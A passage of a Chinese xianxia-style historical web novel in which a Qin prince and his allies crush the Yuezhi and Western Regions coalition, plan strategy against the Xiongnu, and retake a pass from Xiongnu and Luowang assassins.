是从那个方向传来的?
而且,那杆一直矗立的大月氏王旗,似乎在摇晃。
“将军……您看!”
一名亲兵用嘶哑的声音喊道,指着敌军侧翼。
蒙犽顺着他指的方向看去,只见原本作为侧翼屏障的西域联军阵地,此刻竟已是一片大乱。
无数穿着楼兰、龟兹服饰的士兵正在狼狈不堪地向后溃逃。
而黑色的秦军旗帜,正如同一把烧红的尖刀,狠狠楔入了他们的阵地,并且还在不断向前推进!
“是我们的援军!是我们的旗!”
另一名浑身是血的校尉激动得声音都变了调。
“他们打穿了蛮子的侧翼!”
一股难以言喻的热流,瞬间冲上了蒙犽的头顶,冲散了他所有的疲惫与绝望。
他虽然不清楚后方具体发生了什么,为什么匈奴突然消失,为什么敌军会陷入如此的混乱。
但他知道一点——
战局,逆转了!
他们苦苦支撑,用生命争取的时间,没有白费。
援军不仅来了,而且正在摧枯拉朽般地击溃敌人!
能活着,谁愿意死?
尤其是,在看到了生的希望之后!
那支撑着他们死战到底的决绝,在这一刻,迅速转化为求生的本能与复仇的烈焰!!!
蒙犽猛地挺直了那几乎要散架的身躯。
尽管这个动作让他眼前一黑,险些栽倒。
但他用战剑死死撑住了地面。
他环视身边这些同样看到希望,眼神重新燃起火焰的残存将士,用尽胸腔中最后一丝力气,发出了如同濒死凶兽般的咆哮,声音嘶哑却震撼人心!
“将士们!我们的援军到了!蛮子撑不住了!”
他举起那柄布满崩口和血污的战剑。
剑锋直指前方已然开始动摇,混乱的敌军阵列,发出了最后的,也是最疯狂的进攻命令!
“现在——轮到我们了!”
“随我蒙犽——杀出去!”
“碾碎他们!让这些蛮夷付出血的代价!”
“杀——!!!”
“杀——!!!”
最后的数千死士,爆发出惊天动地的怒吼!
那不再是绝望的呐喊!
而是绝处逢生后,混合着狂喜、愤怒、以及对袍泽无尽哀思的复仇咆哮!
他们忘记了伤痛,忘记了疲惫!
如同被注入了一股全新的力量!
跟随着他们那伤痕累累却依旧一往无前的将军,如同决堤的血色洪流,向着已然开始溃散的敌军,发起了反冲锋!
这一次,不再是吸引火力的佯攻。
而是为了生存,为了胜利,为了告慰身后无数弟兄亡魂的——
决死反击。
蒙犽一马当先,战剑挥舞。
尽管手臂剧痛,尽管步伐踉跄,但他此刻的气势,却比之前任何时刻都要凶悍!
他如同一个血色的复仇之神。
所过之处,那些原本还在试图抵抗的大月氏士兵,被他那疯狂的气势所慑,竟纷纷避让。
“挡我者死!”
蒙犽怒吼。
一剑将一名试图阻拦的百夫长连人带盾劈飞!
带着身后咆哮的血色洪流,狠狠撞入了敌军混乱的阵列之中。
兵败如山倒。
正面战场的大月氏军队,本就因侧翼崩溃,中军被袭而军心涣散。
此刻再被蒙犽这支抱着必死决心反扑的哀兵一冲,最后的抵抗意志也彻底瓦解了。
哭喊声,求饶声,兵刃丢弃声,取代了之前的战吼。
无数大月氏和西域联军的士兵开始丢盔弃甲。
向着死峡深处,或者沿着匈奴人撤退的方向,亡命奔逃。
蒙犽
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率领着残部,在溃军中奋力冲杀,剑下几乎没有一合之敌!
他目光死死盯着那杆还在摇晃的大月氏王旗,那是他此刻唯一的目标。
他要亲手斩断那面旗帜,告慰所有战死弟兄的在天之灵!
血路,在脚下延伸……
生路,已在眼前!!!
……
与此同时!
赢子夜身化紫色雷光,如同撕裂夜幕的陨星,悍然冲入已是一片混乱的大月氏核心战场。
他目光如电,瞬间便锁定了正在与田言缠斗,状若疯魔的大月氏主帅拔罗。
以及周围那些仍在负隅顽抗,气息明显强于普通士卒的敌军将领和高手。
就在他准备出手先解决拔罗之际。
几道身影如同鬼魅般出现在他身侧!
为首者玄色大氅猎猎作响,灰眸冰冷,正是卫庄。
赤练、苍狼王、隐蝠紧随其后,逆流沙众人身上皆带着浓烈的血腥气,显然刚刚经历了一番杀戮。
“公子来得正好。”
卫庄的声音平淡无波,仿佛在陈述一件与己无关的小事。
“匈奴人跑了,留着大月氏和这些西域杂碎在这里等死。”
他言简意赅,却将匈奴背信弃义,企图坐收渔利的阴谋揭露无遗。
赢子夜眼中寒芒一闪,冷哼一声。
“与虎谋皮,终被虎噬!”
“乌孙陀罗和赵高,打错了算盘!”
他瞬间明白了匈奴撤退的意图,心中对头曼的警惕更增几分。
“现在,该清理这些碍眼的垃圾了。”
卫庄灰色的瞳孔扫过战场上那些仍在嘶吼,试图组织抵抗的敌军强者。
语气中带着一种俯视蝼蚁般的孤傲与漠然。
他根本不需要赢子夜下令,鲨齿剑已然发出一声嗜血的嗡鸣。
“那个使双刀的大月氏供奉,归我。”
卫庄目光锁定了一名正在秦军中掀起腥风血雨,手持两柄奇形弯刀,气息阴冷的老者。
那是大月氏王庭供奉的顶尖高手之一。
话音未落。
他身影已如离弦之箭射出!
鲨齿剑划出一道凄艳的弧光,直取那老者咽喉,速度快得只在空中留下一道残影!
那老者骇然变色,双刀急架,却只听“铛”一声刺耳巨响!
他整个人竟被卫庄那看似随意的一剑劈得踉跄后退,虎口崩裂,眼中充满了难以置信的惊骇。
卫庄根本不给他喘息之机。
剑势如**,每一剑都带着撕裂一切的毁灭意志,将那老者死死压制!
逼得他只有招架之功,毫无还手之力,尽显流沙之主的霸道与强横。
第393章 摧枯拉朽!
几乎在卫庄动手的同时。
赤练娇笑一声,红影闪动,腕间赤练王蛇如电射出,直扑一名正在念咒的楼兰巫师。
那巫师周围的毒雾在赤练蛇面前竟如同无物!
苍狼王发出低嚎,如同真正的野狼扑入羊群!
利爪挥动,将几名西域联军的将领撕得粉碎。
隐蝠则展开肉翼,如同夜枭般盘旋,专门寻找那些隐藏在暗处放冷箭的**手和军官。
每一次俯冲都带起一蓬血雨。
赢子夜见状,也不再迟疑。
他的目标,是那些对普通秦军士卒威胁最大的敌军核心高手以及主帅拔罗。
“雷殛·九霄!”
他并指如剑!
朝着一名正在挥舞重锤,接连砸翻数名秦军士卒的大月氏巨汉凌空一点!
一道水桶粗细的紫色雷霆如同天罚之矛,骤然从天而降,以无可匹敌之势,精准地轰击在那巨汉头顶。
“不——!”
那巨汉只来得及发出一声短促的惊吼,便在璀璨的雷光中连同他那柄沉重的铁锤一起,化为焦黑的碎块,四散飞溅!
周围试图**的敌军被这恐怖的景象吓得魂飞魄散,瞬间溃散。
赢子夜身形不停,如同瞬移般出现在另一名试图偷袭田言的龟兹国剑术大师身后!
那剑客感知到危险,骇然回身,剑光如瀑般洒出,护住周身。
然而赢子夜只是简简单单一拳轰出,拳头上缠绕着凝练到极致的紫雷,后发先至!
无视了那绚丽的剑幕,直接印在了他的胸膛上。
“嘭!”
没有惨叫,那剑客的胸膛瞬间凹陷下去,背后炸开一个焦糊的血洞!
整个人如同破麻袋般倒飞出去,撞翻了十余名敌军,眼看是不活了。
摧枯拉朽。
真正的摧枯拉朽!!!
赢子夜所过之处,雷光闪耀。
无论是身披重甲的蛮族勇士,还是身手矫健的西域高手,无一合之敌。
他根本不需要复杂的招式。
绝对的力量与速度,加上紫雷那霸道的毁灭特性,便足以碾压一切。
他的目光,最终落在了仍在与田言缠斗的拔罗身上。
此时的拔罗,在田言那神鬼莫测的预判与精准反击下,早已是强**之末。
身上添了数道伤口,气喘如牛。
眼神中充满了憋屈与绝望。
赢子夜一步踏出,如同缩地成寸,瞬间出现在拔罗身侧!
他甚至没有出剑,只是并指如刀,缠绕着刺目雷光,朝着拔罗那因为久攻不下而露出的一个巨大破绽——
脖颈侧面,随手一划!
“嗤啦!”
一道紫电闪过。
拔罗所有的动作骤然僵住!
他瞪大了眼睛,难以置信地看向赢子夜,喉咙里发出“咯咯”的异响,一道焦黑的细线出现在他粗壮的脖颈上。
随即,硕大的头颅与身躯分离,滚烫的鲜血如同喷泉般冲天而起!!
尸体重重栽倒在地,溅起一片混着血水的泥泞。
那杆象征着权力与指挥的大月氏王旗,也在混乱中被不知谁的刀剑砍断,颓然倒下。
被无数奔逃的脚步践踏入泥沼之中!
主帅毙命,王旗倾覆,成为了压垮大月氏和西域联军最后心理防线的最后一根稻草。
原本还在零星抵抗的敌军彻底失去了斗志,哭爹喊娘,如同无头的苍蝇般四散奔逃,只恨爹娘少生了两条腿。
整个死峡外围战场,彻底演变成了一场单方面的追击与**。
“赢了!我们赢了!”
“兄弟们!我们为你们报仇了!”
“杀!不要放跑一个蛮子!”
震耳欲聋的欢呼声与复仇的呐喊在秦军阵中冲天而起。
许多士卒望着眼前溃败的敌军,望着那面倒下的王旗,激动得热泪盈眶。
挥舞着兵刃发出歇斯底里的咆哮!!
连日来的压抑、**、牺牲,在这一刻尽数化为复仇的烈焰和胜利的狂喜。
赢子夜玄衣之上沾染了些许血污。
他立于战场中央,环视这片尸横遍野的焦土,眼神冷冽。
“蒙犽何在?”
他沉声问道,目光扫向战场各处!
很快,浑身浴血,被两名亲兵搀扶着才能站稳的蒙犽,踉跄着走了过来。
他身上的伤口还在渗血,脸色苍白如纸,但那双眼睛却亮得吓人,充满了劫后余生的激动与对赢子夜的感激。
他想要行礼,却被赢子夜抬手阻止。
“殿下!末将……末将……”
蒙犽声音哽咽,千言万语堵在喉咙,最终化作深深一躬!
若非殿下及时来援,他和这最后几千弟兄,必将葬身于此!
赢子夜拍了拍他未受伤的肩膀,语气沉凝。
“将军辛苦了,且先下去疗伤,此处交由本公子。”
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他随即转身,声音陡然提高,带着不容置疑的威严,传遍战场。
“杨临!司马梗!”
“末将在!”
同样浑身是血,但精神亢奋的杨临和司马梗快步上前。
“着你二人,立刻整合所有尚能作战的骑兵,分为数队,给本公子追!”
赢子夜剑指敌军溃逃的方向,语气森然。
“目标,所有溃散之大月氏、楼兰、龟兹残军!”
“给本公子狠狠地杀,尽可能剿灭其有生力量,能杀多少杀多少,直至追不动为止!”
“我要让西域诸国,十年之内,闻我大秦风,便心惊胆寒!!”
“诺!末将领命!”
杨临和司马梗眼中爆射出嗜血的光芒,抱拳怒吼,立刻转身,如同旋风般冲向正在集结的骑兵队伍。
“来人!”
“在!”
一名裨将大步走来,虽经苦战,但气息依旧沉稳。
“率领步卒,立刻清扫战场,救治我军伤员,清点战果,看押俘虏!”
“负隅顽抗者,格杀勿论!降者,集中看管!”
赢子夜条理清晰地下达命令。
“同时,派出斥候,询问李信将军部,严密监视匈奴动向,防止其去而复返!”
“末将明白!”
那裨将领命,立刻安排下去。
赢子夜的目光又看向一旁抱臂而立,鲨齿剑仍在滴血的卫庄,以及他身后的逆流沙众人。
“卫庄先生,此番多谢援手。”
卫庄淡淡地瞥了他一眼,语气依旧冷漠。
“合作而已。”
他甩了甩剑上的血珠,收剑入鞘。
赢子夜也不在意,他知道卫庄就是这般性格。
他最后看向田言,语气温和了些。
“田言姑娘,协调各部,稳定局势,统计各部伤亡,尤其是蒙犽将军所部……”
“殿下放心,我已安排下去。”
田言轻轻点头,清冷的脸上也带着一丝大战后的疲惫,但眼神依旧清明。
命令一道道下达,幸存的秦军士卒们虽然疲惫,却士气如虹,依令而行!
骑兵们如同出闸的猛虎,呼啸着追向溃逃的敌人。
马蹄声如雷!
刀光闪烁间,不断有落后的溃兵被砍翻在地。
步卒们开始有条不紊地清理战场,收缴兵甲。
将重伤的袍泽抬下救治,也将那些面如死灰的俘虏集中看管起来。
第394章 匈奴单于所图非小!
死峡外围。
临时搭建的秦军大营,连绵数里,灯火在夜风中摇曳,映照着巡逻士卒疲惫却警惕的身影。
中军帅帐内,气氛肃穆!
赢子夜端坐主位。
虽经连番激战,神色间却不见多少疲态,唯有眼神愈发深邃。
下方,蒙犽、田言、赵戈苍、李信等人,以及一些主要将领皆在。
蒙犽身上缠满了绷带,脸色依旧苍白,左臂用夹板固定着,在亲兵的搀扶下,坚持站着。
他推开搀扶,独臂艰难地抱拳,深深躬下身去,声音沙哑沉痛。
“殿下!末将……末将愧对殿下信任,愧对帝国重托!”
“因末将急功近利,误中奸计,致使大军深陷重围,折损数万精锐,更累及殿下亲身犯险……”
“此皆末将之过!请殿下……从严治罪!!”
说到最后,他虎目含泪,声音哽咽,那是一种发自内心的自责与悔恨。
赢子夜看着眼前这位伤痕累累,几乎被打残的蒙犽,心中亦是感慨。
他缓缓起身,走到蒙犽面前,亲手将他扶起,沉声道。
“蒙将军,诸位将军,请起。”
“胜败乃兵家常事,此番之败,非战之罪,乃敌狡诈,布局深远。”
“尔等临危不惧,死战不退,尤其蒙将军,断后阻敌,为大部队突围争取生机,忠勇可嘉,何罪之有?”
他目光扫过众将,语气转为凝重。
“眼下,非是论罪之时。”
“我军虽胜,亦是惨胜,将士疲惫,伤亡惨重,粮道被断更是心腹之患。”
“当务之急,是尽快让大军得以休整,并不惜一切代价,打通被敌军占领的粮道,确保前线补给!”
“唯有如此,我等方能在这西域立足,应对后续变故。”
众将闻言,心中稍安,更是感念赢子夜的宽宏与清醒,齐声道。
“殿下英明!”
就在这时。
帐外传来通报,追击残军的杨临和司马梗两位将领回报。
很快,两人风尘仆仆而入,甲胄上血迹未干,神情间带着几分激动与倦意。
他们在殿前齐齐单膝跪地,声音洪亮中带着抑制不住的兴奋!
“启禀殿下!”
“末将等奉命追击大月氏及西域联军残部,一路掩杀,又斩敌首五千余级!”
“楼兰、龟兹残军已溃不成军,四散逃入荒漠,短期内绝难再构成威胁!”
赢子夜微微颔首,对此并不意外。
溃败之军,如同丧家之犬,难有作为。
他更关心的是另一件事。
“匈奴阿速支所部动向,可曾探明?”
杨临立刻上前一步,抱拳回应。
“回殿下!据斥候冒死探查,匈奴大军撤退极为迅速,一路向西北方向疾行,目前已抵达‘赤石隘’一带!”
“并且……并且有最新消息传来,就在数个时辰前,赤石隘已被匈奴攻占!”
“他们正在隘口及其周边险要之处,紧急构建防御工事!”
“赤石隘?”
蒙犽闻言,眉头紧锁,疑惑道。
“此地乃是大月氏西北边疆重要关隘,匈奴与他们不是盟友吗?”
“为何突然攻占盟友关隘,还构建防线?”
“他们想做什么?”
帐内其他将领也面露不解。
赢子夜眼中闪过一丝了然与冷冽,他走到悬挂的西域地图前,手指精准地点在“赤石隘”上,沉声道。
“这正是印证了本公子之前的猜测。”
“头曼单于,所图非小!”
他环视众人,声音清晰而有力。
“匈奴与大月氏所谓联盟,不过是互相利用。”
“头曼恐怕从未想过真心帮助乌孙陀罗。”
“他陈兵大月氏西北边疆,佯装与我大秦在北疆对峙,实则暗藏祸心!”
“其真正目的,极可能是想趁大月氏主力与我军在死峡拼得两败俱伤,国内空虚之际,以雷霆之势,吞并大月氏!”
他的手指沿着赤石隘向大月氏腹地划去!
“你们看,占据赤石隘,构建防线,一来可以阻挡可能来自大月氏王庭的反扑,二来……这更是他进军大月氏腹地,直指其王庭的跳板!”
“一旦让他整合了大月氏的疆土和资源,届时,他手握草原与西域的庞大军力,再掉头东向,我大秦北疆,将面临前所未有的压力!”
“此乃螳螂捕蝉,黄雀在后之策!”
这番分析,如同拨云见日,让蒙犽等将领瞬间惊醒,背后惊出一身冷汗!
原来匈奴的野心,竟如此庞大狠毒。
李信眼中精光一闪,猛地抱拳。
“殿下!若真如此,这对我大秦而言,或许亦是天赐良机!”
“大月氏经此重创,国力大损,匈奴虽强,但仓促吞并,必然消化不良,内部不稳!”
“若我
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军能趁其双方争斗,无暇他顾之际,果断发难,或可一举将匈奴与大月氏残余势力,尽数平定于西域!”
此言一出,帐内不少将领都露出意动之色,觉得这确是一个千载难逢的机会。
赢子夜却缓缓摇了摇头,神色不见轻松,反而更加凝重。
他目光扫过地图上匈奴可能活动的广袤区域,语气带着深深的忌惮。
“机会?或许是。”
“但风险,更大!”
他看向蒙犽、李信等人,一字一句道。
“头曼此人,阴险狡诈,布局深远,能从一介部落首领成为雄踞草原的单于,其心智手段,绝非乌孙陀罗之流可比。”
“我们能想到趁虚而入,他难道就预料不到?”
“他敢在此时动手吞并大月氏,就必然留有后手,防备着我大秦!”
“甚至……可能设下了更大的陷阱,等着我们往里跳!”
他手指重重敲在地图上,做出了决断。
“贸然介入匈奴与大月氏的纷争,极易陷入泥潭,被其两面夹击,风险太大!”
“当下最为稳妥之策,乃是利用这段宝贵的时间,迅速在西域我方控制区域,构筑坚固防线!”
“同时派兵占领更多战略要地,将我们的脚步,牢牢扎稳在这片土地上!”
“消化此战成果,恢复我军元气。”
“至于西域其他诸国,暂缓用兵,以安抚、威慑为主。”
他最后总结道。
“稳扎稳打,巩固根本,静观其变,方是上策!”
“待我军恢复实力,西域根基稳固,届时,无论头曼有何阴谋,我大秦皆有应对之力!”
众将听完赢子夜这番深谋远虑的分析,心中的躁动渐渐平息,取而代之的是深深的信服与冷静。
齐齐躬身抱拳,声音铿锵。
“殿下深谋远虑,末将等……领命!”
决策定下之后,赢子夜又忽然将目光投向一直抱臂立于角落阴影处的卫庄。
“卫庄先生。”
赢子夜开口,声音平静却带着不容置疑的意味。
“还有一事,需劳烦逆流沙。”
卫庄灰色的眸子淡漠地扫过来,并未言语,只是微微挑眉,示意他说下去。
“请先生传讯墨麒麟,让他潜伏于大月氏王庭之内,暗中调查一人下落。”
赢子夜顿了顿,清晰地说道。
“阴阳家前东君,焱妃之女。”
第395章 这很有可能是我们的暗牌!
此言一出,帐内众人皆是一愣!
蒙犽、李信等人面露不解,田言也微微蹙起秀眉。
显然不明白为何在此紧要关头,殿下突然要去寻找一个看似无关紧要的小女孩。
赢子夜将众人的疑惑尽收眼底。
他缓缓踱步,目光扫过在场每一位将领,最终沉声开口。
“诸位可知,本公子在袭扰敌军大营时,曾与一人交手?”
他目光微凝,仿佛回到了那场激战。
“正是那阴阳家的焱妃!”
“她受赵高胁迫,因其女被罗网掌控,不得不为虎作伥。”
他话锋一转,语气中带着一种深远的算计。
“但此人,实力超绝,心智亦非寻常。”
“若能将其争取过来,无论是对付罗网,还是应对未来的变局,都将是一张极强的底牌!”
“而要让她心甘情愿地倒向我们,关键,便在于她的女儿!”
赢子夜的声音斩钉截铁!
“只有将她的女儿,从罗网的魔爪中解救出来,牢牢掌控在我们手中,我们才能真正握住这张牌,让她为我所用!”
“这,或许比千军万马,更为重要!”
众人闻言,顿时恍然。
原来殿下打的是这个主意!
若能掌控那位实力恐怖的东君,确实是一招妙棋!
只是……从大月氏王庭以及罗网手中救人,谈何容易。
卫庄听完,嘴角勾起一抹近乎冷酷的弧度。
似乎对这种“掌控他人软肋”的手段颇为欣赏!
他淡淡吐出两个字。
“可以。”
算是接下了这个任务。
赢子夜点头,随即环视全场,开始进行最终的部署,声音清晰而有力,带着决战后的疲惫却更显坚毅。
“既然都没有异议,便传我军令!”
“其一,粮道乃我军命脉,绝不容有失!”
“本公子将亲自带队,汇合后方赶来支援的部队,尽快打通被敌军占领的粮道,确保大军补给畅通!”
“其二,李信将军!着你派出多支精锐部队,趁大月氏国内混乱,匈奴尚未完全掌控全局之际,迅速出击,攻占其边境及腹地重要城池、关隘!”
“我们要抢在匈奴彻底消化大月氏之前,尽可能多地占据地盘,将我们的防线向西推进!”
“其三,便有劳卫庄先生,统筹逆流沙,继续潜入大月氏境内。”
“墨麒麟负责调查焱妃之女下落,其余人手,可与暗河一起监视匈奴与大月氏残余势力的动向。”
“若有异动,随时来报!”
“其四,田言姑娘,你负责协调各部,稳定已占区域。”
“同时,虽暂缓对楼兰、龟兹等西域诸国用兵,但需加派精锐斥候,暗中严密监视其国内动向,防止他们与匈奴勾结,或趁乱生事!”
他一口气将四条命令下达完毕,目光灼灼地看向帐内每一位将领。
“诸位,死峡之战虽胜,然西域大局未定,强敌环伺!”
“望诸位各司其职,谨守其责,稳固根基,以待来时!”
“末将等,谨遵殿下之命!”
所有将领,包括伤势未愈的蒙犽,皆挺直身躯,抱拳领命!
……
数日后的黄昏。
流沙隘笼罩在一片肃杀之中。
这座扼守粮道的关键隘口,此刻飘扬的却已是匈奴的狼旗。
原本驻守此地的大月氏士兵踪迹全无,取而代之的是神情彪悍,巡逻严密的匈奴骑兵。
以及一些气息阴冷,隐匿在阴影中的身影。
赢子夜亲率一支千余人的绝对精锐,如同暗夜中的幽灵,悄无声息地潜行至隘口外围的沙丘之后。
他玄衣蒙面,只露出一双锐利如鹰的眼眸,冷冷地注视着前方那座被敌军占据的关隘!
“殿下,探查清楚了。”
赵弋苍如同鬼魅般出现在他身侧,低声道。
“隘口守军约三千,以匈奴骑兵为主,但其中混杂着不少罗网**的气息,至少有两名天字级……”
“而且,属下发现,关隘内的防御工事和岗哨布置,并非大月氏风格,完全是匈奴和罗网的手笔,未见一个大月氏活口,恐怕原守军已遭毒手。”
赢子夜眼中寒光一闪。
大月氏的守军被悄无声息地替换、清除?
这绝非寻常。
赵高的手,伸得比想象中还要长,与匈奴的勾结,也比预想中更深。
“行动!”
他没有丝毫犹豫,果断下令。
必须以雷霆之势,迅速夺回此地,打通粮道!
下一刻,千余秦军精锐如同决堤的洪水,骤然从沙丘后杀出!
没有呐喊,只有冰冷的杀意和迅如疾风的动作!
他们分工明确,一部分人以强弓劲**压制隘口墙头的守军,另一部分则如同利刃,直插关门!
“敌袭!秦军!”
隘口上的匈奴士兵发出惊怒的吼叫,仓促迎战。
就在秦军即将冲至关门时,数道诡异的身影如同鬼魅般从墙头角落闪出,杀气凛然。
其中两人,气息尤为阴冷强大!
一人身形枯槁,蒙着双眼,手持一柄看似朴实无华的长剑,正是六剑奴中以“心眼”著称,深不可测的断水。
另一人则周身散发着邪戾之气,眼神疯狂,佩剑“乱神”嗡鸣,正是嗜血残忍的乱神!
“罗网的杂碎,果然在这里!”
赢子夜冷哼一声,身形不退反进。
化作一道紫色雷光,直接迎向了威胁最大的断水和乱神!
他深知,必须尽快解决这些顶尖**,否则普通士卒伤亡将极其惨重。
“赢子夜!纳命来!”
乱神发出癫狂的嘶吼,乱神剑带着惑人心神的邪气,化作数十道虚实难辨的剑影,笼罩向赢子夜周身要害!
而那蒙眼的老者断水,虽无声无息,却后发先至。
手中长剑如同毒蛇出洞,精准无比地刺向赢子夜必救之处!
角度刁钻狠辣,配合乱神那狂猛的攻势,形成了绝杀之局。
面对两名天字一等**的联手夹击,赢子夜眼神冰冷如万载寒冰!
他甚至没有拔剑,双掌之上紫雷爆涌,左手五指如钩,带着撕裂一切的雷霆,悍然抓向那虚实难
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辨的乱神剑影。
右手并指如刀,萦绕着毁灭性的电光。
以更快的速度,后发先至。
直点断水那看似无懈可击的一剑剑尖!
“轰!咔嚓!”
刺耳的雷鸣与金铁断裂声几乎同时响起!!
乱神那漫天剑影在霸道的紫雷面前如同泡沫般幻灭!
他惊骇地发现自己的乱神剑竟被赢子夜徒手抓住,那恐怖的力量顺着剑身传来,震得他手臂发麻。
而另一边,断水那精妙绝伦的一剑,在与赢子夜指尖雷光接触的刹那,他赖以成名的“心眼”竟感受到了前所未有的毁灭危机。
手中长剑发出一声哀鸣,竟被那凝练的指力硬生生点断!
“不可能!”
两人心中同时掀起惊涛骇浪。
赢子夜根本不给他们反应的机会。
捏住乱神剑的左手猛然发力,恐怖的雷霆瞬间灌入剑身。
“嘭!”
乱神剑承受不住这股力量,轰然炸裂!
无数碎片夹杂着紫雷,如同暴雨般倒卷而回,将乱神本人射成了筛子!
他脸上还残留着难以置信的惊恐,身体已被肆虐的雷光撕扯得支离破碎。
几乎在同时!
赢子夜点断断水长剑的右手食指余势不减,如同穿透豆腐般,轻易地点在了断水的眉心。
断水那蒙眼的面容剧烈一颤!
仿佛“看”到了什么极其恐怖的事物!
随即,一道焦黑的痕迹自他眉心蔓延开来。
他周身气息瞬间湮灭,一声不吭地仰面倒下,生机断绝。
电光火石之间,两名罗网天字一等**,毙命!!
这一幕,不仅惊呆了残余的罗网**和匈奴强者,更是让冲锋的秦军士气大振!
“殿下神威!”
赢子夜毫不停留,身形再动,如同虎入羊群,扑向那些试图阻拦的匈奴将领和罗网杀、地字级**。
紫雷所过之处,人仰马翻,无一合之敌!
整个流沙隘的抵抗,在他这摧枯拉朽的攻势下,迅速土崩瓦解。
不到半个时辰,战斗结束!
隘口重新插上了大秦的玄鸟旗。
赢子夜站在关墙上,看着脚下狼藉的战场和那些穿着匈奴服饰,以及罗网装束的尸体,眉头紧锁。
赵弋苍快步走来,递上一枚从匈奴千夫长身上搜出的刻有蜘蛛纹饰的令牌。
“殿下,确认了,此地原大月氏守军,确系被屠戮殆尽。”
“匈奴与罗网,早已勾结,共同占据了此地,截断我军粮道。”
赢子夜摩挲着那冰冷的令牌,眼中寒芒愈盛。
“赵高……果然早已和头曼沆瀣一气。”
“他身处大月氏,恐怕不仅仅是利用乌孙陀罗那么简单。”
“这流沙隘,便是明证!
“他们联手清除异己,布局深远,所图……恐怕比我们想象的还要大!”
他望向西北方向,那是匈奴主力盘踞的赤石隘,也是头曼可能所在的方向。
一股强烈的预感涌上心头。
西域这场乱局,真正的幕后黑手,或许正是这一狼一狈的组合。
第396章 十二圣士!
大月氏王庭。
昔日充斥着香料与奢靡气息的宫殿,此刻被一种令人窒息的恐慌与绝望所笼罩。
巨大的牛油火炬噼啪燃烧着。
跳动的火光映照在乌孙陀罗那张因极度愤怒和恐惧而扭曲的脸上。
他刚刚接连收到了两道如同晴天霹雳般的噩耗!!
“废物!都是一群废物!”
乌孙陀罗猛地将手中镶嵌着宝石的金杯砸在地上,猩红的酒液如同鲜血般溅落在华丽的地毯上。
他胸膛剧烈起伏,指着下方瑟瑟发抖的将领和官员,声音因为暴怒而嘶哑变形!
“死峡!十几万大军!还有拔罗!竟然全军覆没?!”
“你们告诉本王,这仗是怎么打的?!啊?!”
他喘着粗气,还没等众人从第一个噩耗中缓过神来,又一个更让他心胆俱裂的消息传来。
“大王!不好了!西北边疆急报!”
“头曼……头曼那个老贼,亲自率领匈奴主力,猛攻我边疆城池!”
“赤石隘、风啸谷、黑水城……接连失守!”
“还有……还有原本驻扎在我国境内的各部匈奴军队,也……也全都反了!”
“他们里应外合,正在疯狂占领我们的城池和牧场!”
“噗——!”
乌孙陀罗只觉得一股腥甜涌上喉咙,猛地喷出一口鲜血,染红了他华丽的王袍!
他踉跄着后退几步,重重跌坐在王座上,脸色瞬间惨白如纸。
眼神中,充满了难以置信的惊骇与滔天的怨恨。
“头曼……匈奴……”
“你们这群背信弃义的豺狼!”
“本王待你们如盟友,你们竟如此对我!!”
他发出野兽般的哀嚎,声音在空旷的王庭中回荡,充满了穷途末路的悲凉!
前有秦军猛虎,后有匈奴恶狼。
他大月氏竟在短短时间内,陷入了前所未有的**危机!
整个朝堂之上一片死寂,所有大臣都面无人色,瑟瑟发抖,无人敢在这个时候触怒濒临崩溃的大王。
就在这时。
一个谦卑而阴柔的声音响起。
打破了这令人窒息的沉默。
正是身着秦式官袍,微微躬身的赵高。
“大王,请暂息雷霆之怒。”
赵高上前一步,脸上带着恰到好处的忧虑与忠诚。
“如今局势危如累卵,愤怒解决不了问题。”
“当务之急,是设法稳住阵脚,寻求破局之道。”
乌孙陀罗如同抓住救命稻草般看向赵高,急声问道。
“赵先生,你有何良策?快说!”
赵高眼底深处闪过一丝不易察觉的讥诮,面上却愈发恭谨。
“大王,匈奴反叛,其势汹汹,单凭我大月氏一国之力,恐难同时应对秦、匈两面夹击。”
“为今之计,唯有……合纵连横!”
他抬起头,声音提高了几分,带着一种蛊惑人心的力量。
“请大王立刻派遣能言善辩之士,火速出使楼兰、龟兹等西域诸国!”
“**利害,告知他们唇亡齿寒之理!”
“今日匈奴能背弃盟约,吞我大月氏,他日势力膨胀,难道就会放过他们这些西域小国吗?”
“唯有联合起来,共同抗敌,方能有一线生机!”
这番话如同黑暗中点亮的一丝微光,让乌孙陀罗和部分大臣眼中重新燃起了一点希望。
“对!对!赵先生所言极是!”
乌孙陀罗仿佛抓住了最后一根稻草,连连点头,立刻下令。
“快!选派使臣,携带重礼,即刻出发前往各国!”
“务必说服他们出兵相助,重组联军!”
命令迅速被下达下去,但朝堂上的凝重气氛并未缓解。
所有人都心知肚明。
即便西域诸国愿意出兵,仓促组成的联军,能否抵挡住如狼似虎的秦军和匈奴主力,仍是未知数。
更何况,诸国各怀鬼胎,能否真心联合,犹未可知!
乌孙陀罗瘫坐在王座上,脸上充满了疲惫与绝望。
他环视下方噤若寒蝉的群臣,目光最终落在了始终沉默立于角落,身披繁复萨满祭袍,手持骷髅法杖的老者——
大月氏地位尊崇的大萨满身上。
两人的目光在空中短暂交汇。
大萨满微微一震,随即低下头,神情复杂,仿佛已领会到王的心意。
他心中暗叹,大王这是要动用“圣地”了。
片刻后,乌孙陀罗缓缓起身,声音沙哑而低沉。
“都……退下吧。”
“使臣之事,加紧去办。”
“臣等告退……”
群臣如蒙大赦,匆匆退去,唯恐多留片刻。
空旷的大殿中,只余火炬摇曳。
乌孙陀罗并未多言,只是目光沉沉,朝大萨满微微点头。
大萨满默然上前,躬身领命,缓步随其离去。
两人的身影很快消失在通往王庭深处的隐秘通道。
殿中重新陷入死寂。
唯有那始终垂首,仿若隐形人般跟随大臣们离去的赵高,缓缓回过头来。
他那张白皙的脸在火光下显得阴鸷可怖,嘴角微微扬起,浮现出一抹若有若无的冷笑。
“……呵。”
他低声呢喃,目光幽冷。
“看来,本官猜得没错。”
“这大月氏国境之内,怕是就存在着那传说中的遗迹!”
“乌孙陀罗……你果然要走到这一步了吗?”
他轻轻一笑,转身没入殿角的阴影之中,身形逐渐消散,只留下那抹森寒的笑意,在空荡的王庭中无声回荡。
……
而与此同时。
王庭深处,一间完全由巨大黑石砌成的密室内。
空气冰冷而凝滞,只有墙壁上几盏长明灯跳动着幽蓝的火焰,将乌孙陀罗和大萨满的身影投射在墙壁上,扭曲晃动。
“圣地……先祖留下的最后希望,真的能助我大月氏转危为安吗?”
乌孙陀罗的声音带着一丝颤抖。
他,不再是朝堂上那个暴怒的君王
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,更像是一个在绝境中祈求神迹的凡人。
他紧紧抓住大萨满枯瘦的手臂,眼中充满了血丝与渴望。
大萨满身披厚重的,绣满日月星辰与诡异符文的祭袍,骷髅法杖杵在地上,发出沉闷的声响!
